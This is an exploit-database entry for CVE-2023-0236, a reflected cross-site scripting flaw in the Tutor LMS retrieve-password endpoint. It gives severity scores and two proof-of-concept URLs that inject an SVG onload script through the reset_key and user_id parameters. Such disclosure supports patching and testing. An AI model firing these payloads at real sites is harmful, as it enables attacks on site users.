Exploit for Tutor LMS < 2.0.10 - Reflected Cross-Site Scripting

CVE-2023-0236

wpexploit · 2023-01-12

Description

Tutor LMS < 2.0.10 - Reflected Cross-Site Scripting vulnerability in retrieve-password functio

Entry point

Parameterreset_key · query param

Path/dashboard/retrieve-password/?reset_key=%22%3E%3Csvg%20onload=prompt(/XSS/)%3E&user_id=dd

Reflected XSS via unsanitised output of reset_key and user_id in retrieve-password endpoint

Affected Themeum Tutor Lms versions

Themeum Tutor Lms< 2.0.10

All known vulnerabilities by product

Tutor Lms

CVSS 6.1 for CVE-2023-0236

6.1

MEDIUM SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:REQUIRED

Scope:CHANGED

Confidentiality:LOW

Integrity:LOW

Availability:NONE

EPSS Score

1.3%higher than 67.7% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2023-01-12 11:40

Last Seen:2023-05-11 20:46

Reporter:So Sakaguchi

Exploit Code

MARKDOWN4 lines

## https://sploitus.com/exploit?id=WPEX-ID:503835DB-426D-4B49-85F7-C9A20D6FF5B8
https://example.com/dashboard/retrieve-password/?reset_key=%22%3E%3Csvg%20onload=prompt(/XSS/)%3E&user_id=dd

https://example.com/dashboard/retrieve-password/?reset_key=a&user_id=%22%3E%3Csvg%20onload=prompt(/XSS/)%3E

Exploit Code

Share

Share on social media: